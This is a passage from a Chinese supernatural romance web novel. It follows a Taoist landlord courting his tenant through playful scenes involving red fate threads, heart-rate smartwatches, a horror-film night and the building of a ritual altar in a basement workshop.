说着说着,他又看向坐在岸边的阿祥。 “咦?阿祥的线怎么才这么一丢丢?” 朱九无奈答道:“那是每个人的姻缘线,所以我刚刚说了嘛,他这辈子姻缘不济,错过她,他这辈子就这样儿了。” 朱八:“二哥,帮他一把吧。” 朱九看着绕到吧台另外一边取可乐的静之,偷偷往朱八手里塞一把剪刀。 “去,把阿祥跟豆豆脚上的红绳系在一起,若是系错了,就用这把剪刀把绳剪断就行。” 朱八拿着那把看起来普普通通的剪刀,随意咔嚓两下,“行不行啊?那可是红线诶。” 朱九好整以暇看着他,“我施过法了,你快去吧。” “……哦。” …… 朱八拿着剪刀从男男女女中穿过,偷偷接近坐在岸边的那对男女。 才刚靠近,不知道豆豆说了什么,他们脚上的红线就自动连上了。 朱八放下剪刀,羡慕得眼睛都红了。 “臭小子,不愧是天地七星,连老天爷都在帮你。” 微风拂过,他的目光突然被迎面走来的一位美女牢牢吸引。 “嘿嘿,你三叔我这回也要为自己考虑考虑了。” 刚抬脚要走过去,一群急着去玩水滑梯的男女冲了过来,挡住了他的视线。 朱八一不做二不休,蹲下来,循着刚刚那位美女的方位,捡起地上的红绳,把自己的跟她的牢牢系在一起。 人群散尽。 那位美女浅笑着朝他这个方向走了过来。 第279章 朱九追上来了 有人下来,朱九只得闭嘴,扶着湿漉漉的静之走到岸上。 工作人员伸长了手,从平台的栏杆下头,把两杯可乐递给他们。 “祝各位业主玩得开心!” 朱九接过工作人员手里的可乐,恨不得捶他一顿。 老是在关键时刻出声,这孩子怎么这么欠揍呢? 静之正弯下腰,伸长了手,从水里捞起那件漂浮着的外套时,两根修长的手指,够到衣服扯了回来。 “这是我们的水,你先拿起来,不然等会泳池水跑进去。” 静之满眼复杂,她低着头把放在池边的两杯可乐端了起来,就这般看着他拧干她的衣服。 “滴……” 手表一声轻响。 朱九忽而抬起头看着她。 “你是不是……” “不是!我没有!” 静之一口饮尽右手中的可乐,将左手的杯子塞进他手里,然后夺过他手里的衣服用力甩了一下,就这般披在肩上往回走。 “喂,二叔。” 豆豆轻轻敲两下朱九僵住的肩膀,然后指向他手里的杯子。 “静之姐喝了你的可乐。” 朱九低头,看到他手中那个带口红印的纸杯时,突然红了脸。 豆豆嬉笑一声,接着说: “您还不赶紧去追,我觉得她喜欢你,但我问过了,她就是死不承认。” 朱九僵着脖子转过去看着豆豆,“你说……她喜欢我?” “嗯呐。” “之前上课的时候,她是不是给您发短信了,每次发短信的时候,她都在笑。” 朱九:“笑?” 什么笑? 礼貌微笑,还是…… 豆豆指向旁边遮阳伞下坐着的一对小情侣说:“是啊,静之姐的笑就像那个女人现在一样。” 一样? 朱九转头看了一眼。 小伙子给姑娘喂了一口蛋糕,姑娘含着羞,带着压不住的欢喜,轻轻抿嘴一笑。 他发短信的时候,好像也是这样的呢。 她也曾如他一般笑过吗? 朱九突然着急忙慌的跟上去。 “豆,豆豆,对不起,我再也不这样了。”阿祥想了半天,还是决定过来道歉。 豆豆环着胸,斜了他一眼。 “虽然你平时看着很有礼貌,但是有些行为会透露出你是什么样的性格。你……有些浮躁,而我,刚刚好不喜欢你这种性格,你别缠着我了。” 说完,豆豆也披上浴巾转身就走。 难兄难弟,朱八跟阿祥又躺回了沙滩椅上。 朱八:“唉~” 阿祥:“三叔,我看我们要孤独终老喽。” 朱八:“你好歹有钱,我什么都没有。” 阿祥侧过脸,看了有些反常的朱八一眼,突然说一句: “三叔,过两天赌完那一把,我们就找点正经事做吧,我不想在这样混下去了。” 豆豆说的很对。 他从小要什么有什么,生活里没有遭受过太大挫折,性子确实是浮躁了一点。 朱八默了一会儿,才点点头。 “知道了。” 以他这个年纪,想改的话,还能来得及吗? 【朽木,只要你想改,就算到八十了也来得及。】 朱鹤穿着比刚刚朱九身上还骚气的橘红色衬衣,躺靠在朱八右侧的椅子上,咬着吸管说。 “哎呦喂,祖师爷,您怎么到这儿来了?” 朱八吓了一大跳,差点没从椅子上掉下去。 【来看戏,现在没戏了,我要回去了。】 朱鹤一个响指,瞬间消失在原地。 朱八突然从他旁边的白色椅子上发现一个蓝色的物体。 他捡起一看,“杜蕾斯?祖师爷玩得可真花。” 虚空之中,又响起一声响指。 朱八手里的套套不见了。 【呦,落这儿了,还给我哦,不然来不及了。】 阿祥伸头过来,“祖师爷什么意思?我们要有祖师奶了吗?” 朱八在下巴上比了个七,一脸笃定的说: “不是祖师奶,我看你要有二婶了。” …… 朱九没追上静之。 紧赶慢赶,被她一个门板锁在她房间外。 空荡的别墅里,两个人的手表皆滴滴作响。 朱九垂眸看了一眼120的心率,轻轻叩响门板。 “静之,我听到了。” 是你为我心动的声音。 静之贴在门后,缓缓坐了下来。 “没有!不是我的,是你的在响。” 朱九:“是,是我的在响,我想你明白的。” 边说着,他边朝隔壁房间走去。 “不明白,我不知道你在说什么。”静之低头单手解着左手的表带。 没办法,再不解就丢脸丢到家了。 老王之门不知道什么时候开了。 她的身前蹲下来一个人影。 朱九右手撑在她身后的门板,把左手亮起来的表盘伸到她面前。 “静之,你明白的。” “你把表摘下来也没用了,你对我动心了。” 静之别过脸,还在犟嘴: “我刚刚跑太快了,心率上升,正常得很。” 朱九:“……那你敢不敢,现在重新戴上,面对着我?” 他将她的脸轻轻挑了回来,直视她的双眼,“嗯?敢不敢?” “不要。”静之一把拂掉他的手,“幼不幼稚,快走开,我要换衣服了。” 朱九突然低低笑了一声,另外一手撑在她的头左侧,把她死死困在他的臂膀里。 “不敢的话,也说明你喜欢我。” 他咋这么烦人呢? 非得逼她是吧。 “……戴就戴。” 她气急败坏的捡起地上的手表,又重新带回手上。 “看,没响吧。” 朱九轻轻泛着眸子,一点一点接近她,“没响吗?手表可不是这样试的。” 温热的呼吸随着他的靠近,打在她脸上。 淡淡的檀香夹杂着沁人的可乐味迎面扑来。 静之屏住呼吸,强行扭转思想。 管他要干什么,她脑子想别的去,手表肯定就不会响。 可乐,可乐配炸鸡。 炸鸡,炸鸡还得配薯条。 薯条她喜欢吃肯德基……唔。 静之瞪大双眼,看着眼前这个紧闭双眼,还真敢往下亲的男人。 “滴滴滴滴!!!” 两人的表不出意外响起。 朱九倏然睁眼。 柔情似水的看着她,一脸我就知道的表情。 静之硬起心肠,给他一个头槌,将他一把推开。 “别以为你亲我一下,我手表叫了就是心动了,我这是气的!” 他凑近一步,“那你脸红什么?” 静之两手捂着脸,本来就紧贴着门板,此时退无可退。 她伸起一脚,一拖鞋踩在他衬衫上,止住他前行的脚步。 “脸红怎么了!我热!我被你气得脸红!” 朱九:她嘴是真硬。 不,他刚刚尝过了,很软。 是她的心硬。 他眼神里突然带上一抹不解和委屈。 “为什么?” 虽然问得没头没尾,但静之莫名听懂了,她突然不敢看他那双满含真挚的眼。 “什么为什么,世界上哪有那么多为什么。” “你好好做你的二爷,好好生活不行吗?” 第280章 搬家 “我的生活很好,可我也想让你参与进来,这样也不可以吗?” 朱九实在不明白,明明她也是喜欢他的,明明她也是有反应的。 为什么要拒绝他? 静之张了张嘴,眼睛突然扫到飘窗上的镇纸,她缓缓闭上眼,放下了脚。 “不可以,你就做你的房东,我做我的租客,我觉得现在这样就很好。” 朱九突然攥紧了手。 不怕,她现在不接受他,一定是她还不够喜欢他。 他会努力让她接受他的。 朱九突然后撤一步,朝她俯了俯身,“抱歉,这次,确实是我唐突了。” 静之刚要惊讶,他突然趁着俯身的功夫,浅啄了一下她的侧脸。 朱九微弯着腰,直视她的双眼,抿唇轻笑,“我会努力让你更喜欢我的。” 静之:……够了,不能再多了,她都对他掏心掏肺了,他还想要怎么样? “随,随便你。” 她抬手轻轻推了一下他的肩膀,“你出去,我真的要换衣服了。” 朱九直起腰,侧过身把路让给她,“静静今天很漂亮。” 静静叫谁? 他在叫她吗? 静之突然红起耳根子,从衣柜前走回来,推着他的背,把他从老王之门推了出去。 “以后不许从这个门进来!” 门外的他突然闷笑一声,“好。” 笑屁! 静之:“还笑什么,还不回去换衣服?!” 她肯定是在关心他。 恋爱脑上头的朱九,头抵着门后,低低笑了出来,“好,我回去换。” 突然一只手轻轻搭了搭他的肩。 朱九侧头一看,一只泛着金光的手摊开来,他手心里是一枚套。 【朱鹤:小九啊,不用客气,不想要娃也没事,这个套我没扎,不要大意的上吧。】 朱九恢复正常的冷脸,睨了朱鹤一眼,朝房间外走去。 朱鹤紧随其后,【喂喂喂,是不是我来得不是时候啊?】 朱九:你还知道来得不是时候,刚刚她都会关心他了,你一来,好氛围都被破坏完了。 【朱鹤:好嘛,原谅我这一次,你看你对我冷脸,我都没生气。】 走到二楼拐角处的朱九突然停住脚步,他转过身,抬头看着离他几个台阶远的朱鹤,面无表情的说: “祖师爷,我跟她的事,请您不要插手,该如何做,我自己有分寸。” 他看了一眼朱鹤手里的套套,“还有这些东西,麻烦你不要让她再看到了,我不希望她再误会我。” 朱鹤神色微僵,他还真被朱九这副冷脸的样子唬住了。 他刚成仙的时候,也是远远见过林风神君一面的,他家小崽子这年龄越大,浑身的气势倒是跟他越像了。 【行叭,反正我觉得你们两个有戏,你可千万不要放弃啊。】 他刚刚看过阿祥脚上的红线了,几乎没有再次打结的可能。 朱九不成的话,他们家就真的要绝后了。 至于朱八那个朽木,还是等他先戒了赌瘾再说吧。 “我自然知道这个道理。” 朱九突然有了个想法。 一个避开祖师爷的好想法。 …… 晚上,隔壁三楼没有开灯。 二号别墅三楼却是灯火通明。 静之关上窗帘,刚一回头,就被靠得极近的豆豆吓了一跳。 她一指推开她的脑门,皱着眉问: “你干嘛凑这么近,吓死人。” 豆豆拿下她的手,顺手攀上她的胳膊,一脸八卦问道: “刚刚看二叔啊?” 静之一把抖落她的手,转身把窗户一同关上,才转身说: “哪里有,我看风太大了,我关个窗不行啊?” 豆豆:“行,怎么不行。” 她暗戳戳看了静之一眼,然后坐到沙发上给朱八发短信。 【二叔现在在哪里?】 发完以后,她突然想起什么,于是抿着唇把音量快速调小。 果然,不出一分钟,一条消息无声的弹出来。 【朱八:他说从今天开始,他要住到二号别墅去了,东西刚刚都搬过去了。】 豆豆惊得瞪圆了眼,反复把这条短信阅读了几遍,才确认她没有看错。 静之这时候也瘫在床上玩手机,豆豆窥了她一眼后,赶紧问朱八。 【哪一间哪一间?我怎么没有听到他搬东西的声音?】 【朱八:就你们隔壁房间,黄姨做事又快又好,没声音也是正常的。】 刚看完这条消息,豆豆的屏幕上紧跟着进来一条短信。 【朱八:我看你很快就要从静之房间搬出去了,你还是早点收拾行李吧。】 啊?? 真的假的? 也没人告诉她呀? 说人人到。 “叩叩叩。”不急不缓的敲门声响起。 豆豆从沙发上跳起来,开门一看。 是朱九。 朱九收回手,目光从她脸上,挪到她身后突然用被子盖住脸的静之身上。 他轻轻一笑,把豆豆叫了出去。 …… 过了一会儿,豆豆一脸坏笑的走了进来,还顺手带上了门。 “静之姐~~” “你们……下午到底发生什么事啦?” 静之露出两只眼睛看了一眼豆豆和紧闭的门,这才把被子完全拉下来,露出了她微红的脸蛋。 “没事啊,能有什么事。” “没事?”豆豆眉梢轻挑,“没事他能搬到你隔壁?” “啊??” 静之突然翻身坐起,下床走到那扇老王之门前,上锁,上防盗链。 觉得这样还不保险,作为惯犯的她,快步走到窗前,把窗户也锁上了。 “你干嘛?防贼啊?”豆豆问。 静之盘着腿坐在飘窗上,心虚得低头直抠指甲上的油彩,“防……防一下嘛,有安全意识很好啊。” 豆豆也看不懂了。 明明就互相喜欢,为什么要分开呢? “打扰你这么久了,我要搬家喽。” 静之蓦地抬头看她,“搬去哪里?二叔不是说最近不能单独行动吗?” 豆豆指了指楼下,“我搬到二楼住,二叔说房间帮我收拾出来了。” “怎么这么突然?” 豆豆嘟着嘴摇了摇头,“不知道,反正我猜二叔是吃醋了呗,嘿,反正用的都是你的东西,这儿没我东西,我就不收拾啦,拜拜~我要去二楼看电影喽!” “嘭。” 门关上了。 她倒是溜的飞快,徒留静之一个人僵在原地。 身边少了个叽叽喳喳的妮子,她还真有些不习惯。 静之翻来覆去,还是觉得有些不爽。 于是翻身下床,趿拉上拖鞋,跟在豆豆后头走了下去。 豆豆刚看了个开头,静之就进来了。 “你来啦,快来一起看!” 豆豆拉过静之窝在沙发上,两人裹着一张毯子,缩在一起看恐怖片。 突然,一个黑色的影子倒映在幕布上,与突然出现的鬼脸重合,吓得豆豆惊叫一声。 静之一回头,就看到缓步走过来的朱九。 她下意识低头看了一眼表。 “二叔,九点半了,你该睡了。” 管他住哪里,九点半是他的入眠时间,他该休息了。 朱九走过来坐到她身边,拿起椅侧另外一张毯子盖在腿上,一脸正直的指着前方的幕布说: “看鬼片,我一个道士坐在你们旁边,不会更有安全感吗?” 豆豆跟静之无语凝噎。 好像还真是这样,这不是专业对口了嘛。 静之又往豆豆那边挪了挪,差点把豆豆挤成扁豆,“那……那你别说话。” 朱九自带茶水,他吹了吹升腾到空中的水蒸气,锐利的双眸穿透烟雾,看了静之一眼。 “我是道士,又不是鬼,你坐那么远干什么?” 第281章 影音室里又整活 静之:“我……我冷。” “咔嗒。” 朱九轻轻将茶杯放在茶几上。 然后将膝盖上叠成双层的毯子撑开,盖到静之腿上。 “……” 炎炎夏日,即使是在空调间,被双重毯子覆盖住,开始冒汗了的静之也是有苦难言。 他确定是真的喜欢她,而不是在整她? 突然,朱九站了起来,走到墙边的冰箱找了一会儿,然后拿了一些东西过来。 烧烤味的薯片,红枣味的酸奶,还有她爱喝的冰阔落,以及两个冰好的玻璃杯。 “呲~” 可乐被拧开,朱九各倒上半杯就停手。 “天有些晚了,别喝太多,对身体不好。” 他拿了一杯递给静之,刚想拿另外一杯递给豆豆时,豆豆实在受不住了。 她拿起桌上透心凉的可乐,边喝边打哈欠,“那什么,我突然犯困了。” “静之姐我先走啦!!!” 随着啪嗒啪嗒跑远的声音,影音室的门自动回弹关住。 幕布上的无脑大胸女主还在尖叫。 静之喝着冰可乐,却无法缓下她渐渐加速的心跳。 “撕拉~” 略微嘈杂的撕包装袋声音响起。 朱九往透明的磨砂玻璃小碗里倒了一小部分薯片出来,然后端给她。 “吃吧。” 他都这样了,她不端过来,是不是太不识相了。 静之接了过来,嘴硬一句。 “薯片8块,可乐3块,酸奶3块,交房租的时候,我会一起给你的。” 朱九身形一僵,而后缓缓靠回沙发上。 “好。” 这个时候可不能跟她犟,她会越发反感的。 这部剧分上下两集,有些长。 两个人从一人占据沙发一角正坐,到静之蜷起腿撑着头侧瘫。 再到朱九也学着她的样子,盖着毯子侧卧一边。 两人几乎是抵足相对而卧。 朱九垂下眸子,看着对面窸窸窣窣的人说:“别躺着吃东西,小心呛到。” 静之反骨这时候倒是长出来了。 本来只是嘴馋偶尔吃一片薯片。 一听到他这么说,静之拿了四五片就往嘴里塞,咬得咯吱咯吱响。 朱九:好了,这小猫是真说不得,他又摸索明白了一点。 “咳咳咳!” 看吧,呛到了吧。 看着坐起来捂嘴咳嗽的静之,朱九跟着坐起来帮她拍着背。 静之拂去他的手,端起杯子用可乐把薯片顺了下去,这才长舒一口气。 “好了,我没事。” 朱九坐回自己的位置上,缓缓说道: “你不用这样,我喜欢一个人,不会因为她做出一些出格的举动就对她厌恶的。” 呦,他发现啦? 静之将属于他的毯子蹬远了一些,龟缩进自己的毯子里,眼睛瞧着幕布上的画面,低低嗯了一声。 一个活了几百岁的人,一个道士,鬼片对他俩来说实在小菜一碟。 两人都在死撑,看谁先受不了无聊先走。 最终,还是作为人类的朱九经不住困意,枕着手睡了过去。 电视声早已被调小,听着他清浅均匀的呼吸声,静之蹲在茶几和沙发的中间,捧着脸不知道看了他多久。 “怎么就这么犟呢?干嘛非要跟我在一起?” 她的语气有些迷茫,声音小小的,好像在自言自语,又好像在问他。 朱九毯子下的指尖微微一动,面上却没有任何变化。 “唉……” 随着她一声清浅的叹息,静之控制着灵力,让朱九连同毯子一同漂浮起来,缓缓朝门口移动…… 回到三楼他房间,她又叹了一声,帮他盖好被子后,就回了自己房间。 装睡的朱九侧过身子,看着床头柜上摆着的那个纸杯子发呆。 房间里未开灯,他却也能透过窗外的月光,看清纸杯上那淡淡的唇印。 朱九忽而记起白天的那柔软的一吻,嘴角泛起一丝清浅的笑意。 “既然知道你也喜欢我,我又怎能轻言放弃呢……” 她倒是贼,宁愿用灵力,也不愿碰他分毫。 那他…主动一点又如何。 第282章 磕cp的豆 第二天静之还没起呢,她的门就被敲响了。 她翻身坐起,撸了两把有些凌乱的头发,又蹬了两下腿,这才下床给人开门。 “二叔,这么早啊?” 朱九今天穿着一条深色牛仔裤,上半身是藏蓝色的短袖polo衫,成熟中又带着点休闲。 “你让开下。” 静之依言让开,把道儿让给他。 朱九轻轻抵开门,然后扛起侧边的木质小几就往里走。 静之跟在他后面,一头雾水,“我这屋不用再加家具了,够用了。” 朱九走到飘窗前,把手上的小几放下,然后把飘窗上的小矮几拿了起来。 “没事,我帮你换张桌,这样你以后坐在这里改作业就不累腰了。” 静之眸光微顿,“你怎么知道我累腰啊?” 朱九手指瞬间捏紧了桌面,总不能说他每天晚上坐在他飘窗上看到的吧。 朱九装作若无其事的把小矮几放下,换上了高度合适的椭圆形小木桌。 思忖一番,才开口解释道:“我一号别墅那屋的桌子跟你这儿的是一样的,平时坐久了腰也会酸。” “……哦。” 她还以为他偷看她呢。 “谢谢。” 他可真贴心,本来她还想去家具市场挑一个的。 静之有些害羞的用手指梳两把有些凌乱的头发,“你先出去吧,我刚起来,有些不修边幅。” 朱九微微垂首看了她一眼。 她的睡衣倒是百变。 今天不穿那身又清冷又性感的吊带灰色丝绸睡衣了。 今天穿的是长至膝盖的橘色条纹睡裙,正面还有一个胡萝卜卡通印花,搭配上她有些凌乱的头丝和惺忪的睡眼,显得又呆又萌。 朱九忍不住伸出手把她的头发又揉乱了一点,低声笑了: “既然起来了,早点洗漱一下,今天我们以后就在这边别墅的一楼吃早饭了。” 静之嘟着嘴拍掉他的手,指向一号别墅说:“会不会太麻烦阿祥跟三叔了,还要让他俩过来。” 而且他是不是有些过分。 刚察觉到她也喜欢他,就老是对她做出一些……亲密之举。 朱九:“没事儿,他俩太胖了,是该多运动运动。” 见静之还想说些什么,朱九赶紧抛出他真正的意图,“等会吃完跟我去一趟地下室好吗?帮帮我。” 地下室? 不是车库吗? 静之迷茫的看着他,“你要出去?” “不是。”朱九摇了摇头,想到那个未曾谋面的法师,嘴角的笑意就消减了几分。 “我想做点东西,以防万一。” 他一大早都过来帮她换桌子了,她这不帮忙也说不过去了。 “行。” 不知道他要她帮什么忙,反正先应下再说。 …… 吃早饭的时候,突然换地方的朱八打着哈欠,忍不住发了两句牢骚。 “二哥,我们都在隔壁吃了这么多年饭了,干嘛突然跑过来这里?空腹运动,我低血糖都要犯了。” 朱九放下汤匙,睨他一眼,“低血糖?” “要不要我叫王医生推个电动轮椅给你?以后你就坐在轮椅上好了。” 朱八瞬间闭嘴。 连带着想小声吐槽的阿祥,也跟着噤声。 “你别这样嘛。” 这事儿她老觉得自己有错。 看吧,还没跟他在一起,她就影响到他家人的生活了。 “对不起,我……” 朱九瞅准时机往她嘴里塞了个小笼包。 “你不用跟他们说对不起。” 虽嘴硬,但看到缩成两大团的弟弟和侄子,他又悄然心软。 “不想过来正好,以后我叫黄姨把早餐带过去给你们。” 阿祥:“我都行。” 朱八则是顿了顿。 被哥哥这么说,他面子上确实有些过不去。 “二哥,等阿祥的事情过去,我打算搬出去。” 朱九目露惊讶,静之内疚感更深了。 朱八也是个人精,他怎么会看不懂静之这显而易见的眼神呢。 “不关二嫂的事,我想通了,一直住在哥哥家,确实不太好。” 他有这种觉悟是很好。 不过……二嫂? 朱九差点压不住嘴角,他微微侧目看了静之一眼,想看看她作何反应。 静之这会儿埋头喝粥,两只耳朵红彤彤的,恨不得在桌子上挖个洞钻进去。 她默认了?? 朱九心刚一喜,就听到她小声反驳: “我和二叔清清白白的,你别乱叫。” 清白? 他的初吻,二吻,三吻都给了她了,怎么算得上清白。 朱九不悦。 朱八则是惊得老半天合不拢嘴。 没在一起,他二哥搬过来这边干什么? “二哥你还没泡到她啊?” 朱九瞪了他一眼。 什么叫泡,他听起来都莫名不爽,更别说她了。 果然,静之尬笑了一声,连吃饭的动作都慢了。 朱九避免她在尬下去,直接转移话题: “要搬出去可以,不用急于一时,等你找到稳定的工作再搬,不然我怕死去的老爸半夜托梦给我。” 静之眉眼柔和了一瞬。 他还是这样,每次都硬腔硬调说话,但是哪次不是给放在心上的人安排得好好的。 朱八眼眶有些湿润:“嗯。” 他就说他二哥不会这么无情的。 …… 坐在静之对面的豆豆全程观战。 她一边啃着包子,一边像个战地记者似的,拿起手机对准对面那两人,咔咔就是一顿偷拍。 无他,实在是这两个人的暧昧瞬间太好磕了。 她的相册里甚至多出来好多个分类。 有照片,也有偷拍的视频。 【九偷看静,嘴角微勾的瞬间】 【静拒绝九,九抿嘴垂眼角委屈巴巴的瞬间】 【九不小心碰到静,静脸红到左顾右盼的瞬间】 【九故意让静“不小心”碰到他的手,老狐狸尾巴冒出来的瞬间】 【静恼羞成怒,瞪向二叔,二叔却以为静主动看他了,笑得温油的瞬间】 …… 豆豆一脸满足的收起手机。 这他爹的还不磕? 她豆豆简直按头磕。 等她整理成册,以后静之姐要是真跟二叔在一起了,那他们婚礼上播放的视频,可就有素材了。 不行,她等会要去一号别墅跟她姐姐分享一下这份磕cp的快乐!! 第283章 无辜的朱九 豆豆饭都没吃完就跑了。 朱八跟阿祥也不习惯呆在这边,吃到一半,也找个借口溜了。 朱九甚是满意。 饭后,他带着静之来到一处楼梯旁站着。 这面墙严丝合缝,只有右侧有个小小的三角标。 静之凑近一点看,满脑袋都是问号,她转头问朱九:“不是要去地下室?” “还有这个三角标干啥使的。” 朱九环着胸,朝她轻扬了一下下巴,“你摁一下试试?” “……哦。” 红润的指尖摁下三角标的一瞬间,地面轻微振动了一下。 面前3x2的砖突然朝内缓缓凹陷进去,静之甚至能够听到墙里机械运转的声音。 有钱人家里都这样吗? 藏着各种机关。 静之刚想问他这是个啥,面前的砖突然自中间分开,露出里面银色的电梯门。 哦,原来是个隐藏式电梯,吓她一跳。 “再摁一下。”他说。 静之又摁一下后,电梯门缓缓打开。 两人一前一后走进去。 里头六面都是镜子,顶上的白光打下来,静之有一种无所遁形的感觉。 电梯门右侧只有三个按钮。 1,-1,-2。 -2的圆形按钮下面,却是一个指纹锁,此时摁指纹的位置微微泛着蓝光。 朱九将右手大拇指放下去,静之只听到轻轻嘀了一声,蓝光变绿。 微微的失重感瞬间传来。 他们这是在下降吧。 “里头会不会太亮了?”静之忍不住吐槽。 看哪面镜子都有白炽灯的反射,她的眼都要闪瞎了。 “哦?” 朱九不知道摁了哪里,白炽灯的亮度渐渐变暗直到—— 完全陷入一片黑暗。 耳边只有电梯下降的嗦嗦声,静之轻轻眨了眨眼,问: “二叔,你家有几层地下室啊,怎么还没到?” “而且,调低一点亮度就行,你……” 明明没听到他动,但是就是有一道温热的呼吸轻轻打在她脸上。 【搞这么暗干什么?】这个问题瞬间缩了回去。 她迅速伸出手抵住他压过来的胸膛。 “二叔,我没答应你呢,你别太过分。” 他富有磁性的声音缓缓在这方密闭的空间内响起,“别叫我二叔,叫我……” 朱九卡住了。 他家里平辈都叫他阿九,可她也叫她前男友阿九,他莫名的不想让她叫这个称呼。 朱九将她放在他肩上的手轻轻捏在手里,“叫九哥。” 九哥? 静之是无所谓啦,九哥她也经常叫。 不过没在一起就握小手,是不是不太好。 “九哥你放手,不然我打你了嗷。” 第一次听到她对他亲昵的称呼,朱九黑暗中的脸庞突然泛起浅淡的红晕。 “你打吧。” 最好打重一点,那他就可以赖上她了。 火热的唇瓣刚要印上她的手背时,一股疾风自下而上踹向他的侧脸。 下一秒,电梯里乒乒乓乓的,传出拳脚相接的声音。 “叮!” 电梯门打开。 外头的声控灯啪的一声打开,照出了里头二人此刻别扭的姿势。 朱九抓住她的左腿,和右手。 静之左手捂住他的嘴,整个身子远离朱九弯成了个C。 静之:“别闹了,电梯到了,你再这样我不帮你忙了。” 朱九轻轻放开她,脸上是肉眼可见的失落。 她身手与他不相上下,朱九除了一开始趁她不注意握住了她的手,后来竟是近不了一点她的身。 静之转动着被捏得发紧的手腕走出电梯,打量着这个看似是工具间的地下室。 有钱人家的工具间,也是高级的。 这里简直就是理工男的最爱。 各种型号,各种作用的工具整整齐齐码满了左边的墙。 右边墙上则整整齐齐摆着朱九的各种法器。 工具她不是很懂,不过这法器她倒是经常看见。 光是桃木剑和铜钱剑,这墙上挂着的就有四五十把,更不用说那成摞的顶到天花板的符箓,还都是画好的。 还有一些奇奇怪怪的法器,摆满了整面墙。 朱九见她打量右边墙,有些局促的走过去,“那个……我平时不爱出去玩,没事的时候,我就下来这里做做法器,画画符。” 静之头都快昂成90度了,她不禁咋舌。 “我去!这么多,都是你自己做的?那你得从哪年开始做?” 朱九思索了一下,旋即认真回她: “1971年,算一算,我做了20年了。” “隔壁地下室还有,摆不下了,我才买了这里的。”朱九补充解释一句。 他想把他的过往都讲给她听。 静之:……不是大哥…… 她就随口这么一问,他这么老实回答干什么? 看来阿九这辈子是终极富豪宅男。 不抽烟不喝酒不玩女人,唯一的爱好就是修道和做法器。 哦,看他之前抽屉里那一长串的钥匙,唯二的爱好是买房。 “你楼上不是有很多房间吗?干嘛费力挖个地下室做这些?”她问。 他又不是干犯法的事儿,何必如此小心呢? “这里是地下三层,这几层地下室本来是车库,我没那么多车,所以改造了一下。” “二层被我摆满了坛子,它们不能见光的。” “而且,我不喜欢应酬……” 静之有些懂了,“所以你就躲到这里来了?” 朱九点了点头,那些想巴结他的人他看着都烦,无用的社交简直浪费时间。 躲在这里,至少他还能专注的做点事情。 静之:行叭,看来这辈子的阿九是妥妥的小i人。 她一撸袖子问:“你想要我帮你什么忙?” 谈到正事,朱九肃了脸色。 “你还记得上次那个佛牌吗?” 静之点头,那佛牌里的厉鬼不是被他祖师爷玩得渣都不剩了吗? “对方是泰国的降头法师,这种佛牌估计不止一个,明天阿祥跟乃猜博弈,我怕他又会暗中出手,所以我想做个神坛,以防万一。” 静之不解的皱着眉,指了指他身后盖着明黄色布料的桌子,“神坛的话,你这不是有吗?” 朱九转身看向那传统的木桌,轻轻摇头,“降头大师斗法,讲究坛高者胜。” “两军对战,气势也十分重要。” “我想做一个机械神坛。” 静之噎住了。 她举手示意,“那个……这活儿你应该找个理工男来做,我不会呀。” 朱九给她搬了块软凳子过来。 “坐,我会,我喜欢研究阵法,平时无聊的时候也会结合一下科技,做点法器。” “这点东西难不倒我,你……偶尔帮我搭把手就行。” 边说着,他递过去一个防强光面具给她。 …… 期间静之不知换了多少次二郎腿,坐累了又到处走动,这里摸摸,那里看看,朱九硬是自己单干,一次都没叫过她帮忙。 那叫她下来干什么? 此时此刻,静之觉得自己有些多余。 瞧他干得热火朝天的模样,静之觉得怎么也不能白下来一趟吧。 “你真不用我帮忙?” 朱九按熄电焊开关,把防强光面具一脱,露出他那张大汗淋漓,闷得发红的脸。 他朝她微微扬起下巴,指向工具架上的纸巾盒。 “那边有纸,帮我擦汗。” 静之:“……你再调戏我,我要生气了。” 朱九用力的眨眨眼睛,把流进眼里的咸涩汗水挤出来,满脸无辜的说: “我没调戏你,我手上都是机油,汗流进眼睛里了。” “静静……我眼睛痛…帮帮我…” 静之:“!?” 谁说他不会撩妹的? 站出来!! 第284章 她松口了 “……你真的假的?” 虽这样问着,她已经走到架子边上,把纸盒拿了过来。 朱九直接眯上眼睛,蹙起眉头,“真的,你自己看,汗流进去了。” 边说着,他就低下头抬起胳膊,妄图用肩膀下的袖口蹭一下脸。 胳膊刚抬到一半,就被一只手轻轻摁下。 被汗水浸到湿润的下巴被她轻轻挑起, 朱九有些害羞。 他流了很多汗,她不会介意吧? 模糊的视线内,一张白色的纸伸了过来,首先轻蹭掉他眼皮上的汗水。 朱九得以睁眼。 他柔柔的抿着嘴,勾起唇线。 真好,她不嫌弃他。 一张纸巾擦了小半张脸就湿成一团。 静之又抽了两张,一张围住他的眼,一张擦着他下半张脸。 “看我干什么?” 露在她面前的下半张脸浮出一个淡淡的微笑,他说: “没什么。” 脸上的汗是擦干净了,看他一头汗湿的头发,静之就知道他等会可能又要找机会叫她擦汗了。 于是干脆一不做二不休,把自己头上系发的森绿色发带解了下来,扽两下抻平后,扶正他的脸。 “别动,我给你系上。” 朱九僵着脖子,微微挑眉。 他是不是做得太明显了,擦汗的福利没了。 “你头低一些,我看不到结。” 静之拿着带子在他额头上比比划划,边提醒一句。 朱九依言低头,视线却对上她起伏的胸口,朱九赶紧闭眼。 非礼勿视,这道理他还是懂的。 昔日的爱人就这般埋头进自己怀里,他身上散发出来的热气,仿佛让空气也跟着变热起来。 说一点都不心动,是假的。 她偷瞄了一眼自己的手表。 看清心率的同时,顿感不妙。 马上就要响了,她动作得再快点了。 静之灵活的动着手指,打好结的那一秒,还没放下手,他忽然抬头。 她的双掌瞬间被迫捧住他热烫的脸。 四目相对,空气一时安静,两人互相打在对方脸上的呼吸都变得十分暧昧。 她讶异,他又羞又臊。 静之立刻放手后撤两步。 朱九被摸一下脸,也满足了。 他含着羞意支吾半天,才拉下防光面罩挡住红透了的脸,闷声说一句: “……谢谢。” 静之感受了一下手心的余温,又回到椅子上坐下,“没事,你干活吧,我看着你。” 她有些明白他的小心思了。 无非是想要她多陪陪他罢了。 算了,小i人一个人在这里火花带闪电的,多可怜,陪他坐一下又不会少块肉。 焊接的时候会产生强烈的气味和高温。 整个室内如今只能听到排气扇和空调轻轻的嗡嗡声,还有他不时切割钢条时的巨大噪音。 静之已经很久没动过了。 藏在防光面罩后的双眼此时不带眨一下的,紧紧盯着前方荷尔蒙爆棚的男人。 修身的衣衫被汗水打湿,他紧致的肌肉线条呼之欲出。 刺目的火光,映出冰冷的机械和他结实的臂膀。 静之越坐越正,到最后,左手紧紧抓住裤腿。 遭不住,实在是遭不住了! “滴————” 